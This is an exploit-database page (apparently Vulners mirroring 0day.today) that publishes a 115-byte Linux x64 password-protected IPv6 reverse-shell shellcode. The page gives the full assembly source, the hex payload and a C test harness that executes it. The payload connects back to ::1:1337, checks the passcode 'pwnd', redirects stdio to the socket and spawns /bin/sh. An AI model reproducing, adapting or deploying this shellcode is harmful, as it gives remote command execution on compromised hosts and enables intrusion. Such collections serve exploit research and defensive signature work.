Lucene search
K

Linux/x64 - Reverse (::1:1337/TCP) + IPv6 + Password (pwnd) Shellcode (115 bytes)

🗓️ 17 Jul 2018 00:00:00Reported by Hashim JawadType 
zdt
 zdt
🔗 0day.today👁 23 Views

Linux Reverse Shell IPv6 with Password, 115 byte

Code
/*
; Title   : Reverse Shell (IPv6) with Password - Shellcode
; Author  : Hashim Jawad @ihack4falafel
; OS      : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
; Arch    : x86_64
; Size    : 115 bytes
 
section .text
 
global _start
 
_start:
 
    ; int socket(int domain, int type, int protocol)
    ; rax=41, rdi=10, rsi=1, rdx=0
    xor esi,esi
    mul esi                
    inc esi
    push 10 
    pop rdi
    add al, 41
    syscall
 
    ; save socket fd in rdi
    xchg rbx,rax
 
    ; struct sockaddr_in6 struct
    push rdx            ; scope id = 0
    mov rcx,0xFEFFFFFFFFFFFFFF      ; link local address ::1
    not rcx
    push rcx
    push rdx
    push rdx                        ; sin6_flowinfo=0
    push word 0x3905        ; port 1337
    push word 10            ; sin6_family
 
    ; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
    ; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
    push    rbx
    pop     rdi
    push    rsp
    pop     rsi
    push    28
    pop     rdx
    push    42
    pop     rax
    syscall
 
    ; dup2 (new, old)
    ; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
    xchg   rsi, rax
    push 0x3
    pop rsi
_loop:
    push 0x21
    pop rax
    dec esi
    syscall
    loopnz _loop
 
    ; read (int fd, void *bf, size_t count)
    ; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd)
    xor rax, rax
    push rax
    pop rdi
    push rax
    push rsp
    pop rsi
    push 0x4
    pop rdx
    syscall
 
    ; check passcode (pwnd)
    push 0x646e7770
    pop rbx
    cmp dword [rsi], ebx
    jne _nop
 
    ; int execve(cont char *filename, char *const argv[], char *const envp[])
    ; rax=59, rdi=/bin//sh, rsi=0, rdx=0
    xor rax, rax
    push rax
    mov rbx, 0x68732f2f6e69622f
    push rbx
    push rsp
    pop rdi
    push rax
    push rsp
    pop rsi
    cdq
    push 0x3b
    pop rax
    syscall
 
_nop:
    nop
*/
 
#include<stdio.h>
#include<string.h>
  
  
unsigned char code[] = \
"\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90";
 
main()
{
  
printf("Shellcode Length:  %d\n", (int)strlen(code));
  
int (*ret)() = (int(*)())code;
  
ret();
  
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

17 Jul 2018 00:00Current
7.4High risk
Vulners AI Score7.4
23